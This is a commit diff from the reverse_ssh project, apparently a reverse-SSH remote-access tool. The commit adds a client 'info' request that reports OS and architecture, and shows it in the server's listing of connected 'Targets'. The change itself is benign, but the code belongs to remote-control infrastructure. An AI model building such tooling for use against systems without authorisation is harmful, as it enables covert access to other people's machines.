Projects STRLCPY reverse_ssh Commits 411921e0
🤬
  • Reformat pretty table, add architecture version for #95

  • Loading...
  • NHAS committed 1 year ago
    411921e0
    1 parent 99d7ed83
  • ■ ■ ■ ■ ■ ■
    internal/client/client.go
    skipped 1 lines
    2 2   
    3 3  import (
    4 4   "bytes"
     5 + "encoding/json"
    5 6   "fmt"
    6 7   "io"
    7 8   "log"
    8 9   "net"
    9 10   "os"
    10 11   "os/user"
     12 + "runtime"
    11 13   "strconv"
    12 14   "strings"
    13 15   "time"
    skipped 162 lines
    176 178   case "kill":
    177 179   log.Println("Got kill command, goodbye")
    178 180   os.Exit(0)
     181 + 
     182 + case "info":
     183 + c := internal.ClientInfo{
     184 + GoOS: runtime.GOOS,
     185 + GoArch: runtime.GOARCH,
     186 + }
     187 + 
     188 + r, _ := json.Marshal(c)
     189 + err := req.Reply(true, r)
     190 + if err != nil {
     191 + continue
     192 + }
    179 193   
    180 194   case "[email protected]":
    181 195   req.Reply(false, nil)
    skipped 38 lines
  • ■ ■ ■ ■ ■ ■
    internal/global.go
    skipped 79 lines
    80 80   Modes string
    81 81  }
    82 82   
     83 +type ClientInfo struct {
     84 + Username string
     85 + Hostname string
     86 + GoArch string
     87 + GoOS string
     88 +}
     89 + 
    83 90  // =======================
    84 91   
    85 92  func ParsePtyReq(req []byte) (out PtyReq, err error) {
    skipped 69 lines
  • ■ ■ ■ ■ ■ ■
    internal/server/commands/list.go
    1 1  package commands
    2 2   
    3 3  import (
     4 + "encoding/json"
    4 5   "fmt"
    5 6   "io"
     7 + "log"
    6 8   "sort"
    7 9   "strings"
    8 10   
     11 + "github.com/NHAS/reverse_ssh/internal"
    9 12   "github.com/NHAS/reverse_ssh/internal/server/clients"
    10 13   "github.com/NHAS/reverse_ssh/internal/terminal"
    11 14   "github.com/NHAS/reverse_ssh/internal/terminal/autocomplete"
    skipped 11 lines
    23 26   
    24 27  func fancyTable(tty io.ReadWriter, applicable []displayItem) {
    25 28   
    26  - t, _ := table.NewTable("Targets", "ID", "Public Key ID", "Hostname", "IP Address", "Version")
     29 + t, _ := table.NewTable("Targets", "IDs", "Version", "Arch")
    27 30   for _, a := range applicable {
    28 31   
     32 + ok, result, err := a.sc.SendRequest("info", true, nil)
     33 + if err != nil {
     34 + continue
     35 + }
     36 + 
     37 + arch := "-"
     38 + if ok {
     39 + c := internal.ClientInfo{}
     40 + err = json.Unmarshal(result, &c)
     41 + if err == nil {
     42 + arch = c.GoOS + "_" + c.GoArch
     43 + }
     44 + }
     45 + 
    29 46   keyId := a.sc.Permissions.Extensions["pubkey-fp"]
    30 47   if a.sc.Permissions.Extensions["comment"] != "" {
    31 48   keyId = a.sc.Permissions.Extensions["comment"]
    32 49   }
    33 50   
    34  - t.AddValues(a.id, keyId, clients.NormaliseHostname(a.sc.User()), a.sc.RemoteAddr().String(), string(a.sc.ClientVersion()))
     51 + if err := t.AddValues(fmt.Sprintf("%s\n%s\n%s\n%s\n", a.id, keyId, clients.NormaliseHostname(a.sc.User()), a.sc.RemoteAddr().String()), string(a.sc.ClientVersion()), arch); err != nil {
     52 + log.Println("Error drawing pretty ls table (THIS IS A BUG): ", err)
     53 + return
     54 + }
    35 55   }
    36 56   
    37 57   t.Fprint(tty)
    skipped 51 lines
    89 109   
    90 110   for i, tr := range toReturn {
    91 111   
     112 + ok, result, err := tr.sc.SendRequest("info", true, nil)
     113 + if err != nil {
     114 + continue
     115 + }
     116 + 
     117 + arch := "-"
     118 + if ok {
     119 + c := internal.ClientInfo{}
     120 + err = json.Unmarshal(result, &c)
     121 + if err == nil {
     122 + arch = c.GoOS + "_" + c.GoArch
     123 + }
     124 + }
     125 + 
    92 126   keyId := tr.sc.Permissions.Extensions["pubkey-fp"]
    93 127   if tr.sc.Permissions.Extensions["comment"] != "" {
    94 128   keyId = tr.sc.Permissions.Extensions["comment"]
    95 129   }
    96 130   
    97  - fmt.Fprintf(tty, "%s %s %s %s, version: %s", tr.id, keyId, clients.NormaliseHostname(tr.sc.User()), tr.sc.RemoteAddr().String(), tr.sc.ClientVersion())
     131 + fmt.Fprintf(tty, "%s %s %s %s, version: %s arch: %s", tr.id, keyId, clients.NormaliseHostname(tr.sc.User()), tr.sc.RemoteAddr().String(), tr.sc.ClientVersion(), arch)
    98 132   
    99 133   if i != len(toReturn)-1 {
    100 134   fmt.Fprint(tty, sep)
    skipped 28 lines
Please wait...
Page is in error, reload to recover